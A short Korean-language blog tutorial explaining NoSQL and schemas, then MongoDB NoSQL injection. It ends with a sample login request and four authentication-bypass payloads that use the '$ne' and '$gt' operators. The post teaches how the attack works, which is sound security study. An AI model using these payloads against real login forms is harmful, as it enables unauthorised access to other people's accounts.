Web Security/web hacking

NO-SQL injection

minpo 2024. 10. 2. 18:52

파일의 저장방식은 아래 사진처럼 발전하였다. NoSQL은 전통적인 관계형 데이터베이스 관리 시스템(RDBMS)과는 다른 방식으로 데이터를 저장하고 관리하는 데이터베이스 유형을 의미합니다. **스키마(Schema)**는 데이터베이스에서 데이터 구조와 그 구조에 대한 제약 조건을 정의하는 것을 의미합니다. 쉽게 말해, 데이터베이스 스키마는 데이터가 어떻게 조직되고 저장될 것인지를 나타내는 청사진 또는 설계도와 같습니다. 

 

NO-sql에서는 스키마가 정해져 있지 않으며 key-value와 같은 형식으로 값을 저장합니다. 또한, JSON 형식으로 쿼리를 만들 수 있습니다. 대표적으로 몽고 DB와 REDIS 가 존재합니다.

 

그렇다면 NO-SQL injection은 어떤 방식으로 진행되는지 몽고DB 통하여 설명하도록 하겠습니다.

일단 몽고 DB의 쿼리는 json 형식으로 나타낼 수 있으며 다양한 연산자를 제공하며 '$'를 접두 문자로 하여 이들을 사용할 수 있습니다.

 

만약 아래와 같은 로그인 요청이 있다고 가정한다면 이렇게 테스트해볼 수 있습니다.

POST /login HTTP/1.1

{"username": "userid", "password": "password"}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

 

 

출처: 

https://www.hahwul.com/cullinan/nosql-injection/